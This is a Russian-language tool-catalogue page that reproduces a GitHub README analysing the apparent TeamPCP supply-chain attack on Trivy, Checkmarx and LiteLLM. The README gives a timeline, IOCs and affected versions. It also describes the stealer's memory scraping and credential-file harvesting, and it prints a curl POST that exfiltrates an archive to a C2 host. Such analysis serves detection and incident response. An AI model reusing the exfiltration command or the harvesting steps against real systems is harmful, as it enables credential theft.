Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент. | Kitploit
Инструменты/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Безопасность контейнеровАнализ вредоносных программБезопасность облачных средРазведка угрозБезопасность Цепочки ПоставокОбучение и ОбразованиеРеагирование на ИнцидентыПодобранные Ресурсы

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.

Репозиторий
113122 месяцев назадЕщё не проверено

TeamPCP Supply Chain Attack: технический анализ и руководство по обнаружению

CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.

В период с 19 по 25 марта 2026 года threat actor TeamPCP (также отслеживается как DeadCatx3, PCPcat, ShellForce, CanisterWorm) провёл каскадную атаку на цепочку поставок в пяти экосистемах: GitHub Actions, Docker Hub, OpenVSX, npm и PyPI. Начавшись с одного не полностью отозванного GitHub PAT, кампания распространилась на двух крупных вендоров open-source безопасности (Aqua Security и Checkmarx), четыре репозитория GitHub Actions, два расширения VS Code, реестры контейнеров и более 66 пакетов npm.

Этот репозиторий содержит полный технический разбор, подборку IOC-индикаторов (проверенную на ложные срабатывания) и готовые к развёртыванию запросы обнаружения для Microsoft Defender XDR.


Содержание

  • Хронология атаки
  • Разбор цепочки поражения
  • Скомпрометированные артефакты
  • Механика стилера учётных данных
  • CanisterWorm — распространение через npm
  • Компонент-вайпер, нацеленный на Иран
  • Обнаружение и охота
  • Список IOC
  • Примечания по фильтрации ложных срабатываний
  • Маппинг MITRE ATT&CK
  • Ссылки

Хронология атаки

Дата (UTC)Событие
20 фев 2026Создана учётная запись hackerbot-claw; начинает сканирование репозиториев на предмет эксплуатируемых workflow pull_request_target
28 фев 2026Первый компрометация Trivy через PWN-запрос; учётные данные эксфильтрованы
1 мар 2026Aqua Security пытается сдержать угрозу — ротация учётных данных выполнена не полностью
19 мар, 17:43Главный удар: TeamPCP делает force-push 75 из 76 тегов в aquasecurity/trivy-action + все 7 тегов в setup-trivy через скомпрометированную сервисную учётную запись aqua-bot
19 мар, 18:22Бэкдор-версия Trivy v0.69.4 опубликована в GitHub Releases, Docker Hub, GHCR, ECR
20 мар, 05:40Окно компрометации trivy-action закрывается (~12 часов)
20 мар, 20:45CanisterWorm обнаружен при распространении через npm — скомпрометировано 47+ пакетов
22 мар, 20:31TeamPCP дефейсит все 44 репозитория в GitHub-организации aquasec-com скриптованным 2-минутным залпом
22 марОбразы Docker Hub 0.69.5 и 0.69.6 запушены с тем же payload-стилером
23 мар, 02:53Начинается волна Checkmarx: Вредоносные ast-results v2.53.0 и cx-dev-assist v1.7.0 опубликованы в OpenVSX через учётную запись ast-phoenix
23 мар, 12:58Все 35 тегов Checkmarx/kics-github-action форс-пушнуты через скомпрометированную учётную запись cx-plugins-releases
23 мар, 15:41Checkmarx сообщает, что проблема OpenVSX устранена
23 мар, 16:50KICS GitHub Action снят с публикации после сообщения пользователя
23 мар, 22:25Sysdig сообщает, что Checkmarx/ast-github-action v2.3.28 также скомпрометирован
24 мар, 08:30Волна LiteLLM: Троянизированные litellm v1.82.7 и v1.82.8 опубликованы в PyPI с использованием украденных учётных данных
24 мар, 11:25PyPI помещает в карантин вредоносные версии LiteLLM

Разбор цепочки поражения

Фаза 1 — Начальный доступ

Основная причина: неполная ротация учётных данных после инцидента 28 февраля. PAT сервисной учётной записи aqua-bot либо не был отозван, либо атакующий наблюдал новый токен во время ротации.

TeamPCP использовал этот сохранённый доступ, чтобы делать force-push тегов версий во вредоносные коммиты-подделки. Каждый поддельный коммит клонировал метаданные оригинала (автор, временная метка, сообщение), заменяя при этом скрипт точки входа на payload-стилера. Страница релиза GitHub не показывала видимых изменений — даже бейдж "Immutable" отображался нормально.

Фаза 2 — Выполнение payload

Стилер — 204-строчный entrypoint.sh, самоидентифицирующийся как "TeamPCP Cloud stealer", — выполняет атаку в три этапа:

Этап 1: Сканирование памяти

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Этап 2: Сбор учётных данных из файловой системы

Сканирует 50+ чувствительных путей, включая:

  • SSH-ключи (~/.ssh/*)
  • Учётные данные AWS/GCP/Azure
  • Токены и конфиги Kubernetes
  • Учётные данные реестров Docker
  • Файлы состояния Terraform
  • Криптокошельки (Solana, Bitcoin, Ethereum, Cardano)
  • npm-токены (~/.npmrc)
  • Историю команд оболочки
  • Файлы .env

Этап 3: Зашифрованная эксфильтрация

  • Упаковывает все собранные данные в tpcp.tar.gz
  • Шифрует с помощью AES-256-CBC (случайный сеансовый ключ) + RSA-4096/RSA-OAEP (открытый ключ атакующего)
  • Эксфильтрует через curl POST на typo-squat домены, имитирующие вендоров
  • Запасной вариант: создаёт репозиторий tpcp-docs или docs-tpcp в GitHub-аккаунте жертвы, используя украденный GITHUB_TOKEN

Фаза 3 — Постоянство

В не-CI Linux-системах вредонос:

  1. Создаёт скрытую директорию ~/.config/sysmon/
  2. Размещает Python-бэкдор (sysmon.py)
  3. Устанавливает пользовательский systemd-сервис, который опрашивает C2 каждые 50 минут
  4. Kill switch: если ответ C2 содержит "youtube", бэкдор пропускает выполнение

Фаза 4 — Горизонтальное перемещение (волна Checkmarx)

Украденные учётные данные волны Trivy позволили скомпрометировать экосистему Checkmarx. Каждая новая волна использовала другой typo-squat C2-домен, чтобы обойти блок-листы предыдущей волны:

ВолнаC2-доменИмитация (typosquat)
Trivyscan.aquasecurtiy[.]orgaquasecurity.org
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai

Скомпрометированные артефакты

GitHub Actions

РепозиторийТеги скомпрометированыОкно экспозиции (UTC)Точка входа
aquasecurity/trivy-action75 из 76 (безопасный: 0.35.0)19 мар 17:43 – 20 мар 05:40entrypoint.sh
aquasecurity/setup-trivyВсе 7 тегов19 мар 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionВсе 35 тегов23 мар 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (вероятно, все)23 мар ~22:25+setup.sh

Расширения OpenVSX (маркетплейс VS Code НЕ затронут)

РасширениеВредоносная версияБезопасная версия
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Оба расширения были опубликованы с интервалом в 12 секунд в 12:53 UTC 23 марта через учётную запись ast-phoenix. При активации environmentAuthChecker.js проверяет наличие учётных данных облачного провайдера, а затем загружает стилер второй стадии с checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Образы контейнеров

ОбразВредоносные теги
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

ПакетВерсииБэкдор-файл
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Тройной вложенный base64-payload с набором инструментов для горизонтального перемещения в K8s. Постоянство через sysmon.service, опрашивающий checkmarx.zone/raw.


Механика стилера учётных данных

Паттерн эксфильтрации одинаков во всех волнах:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
Скачать инструмент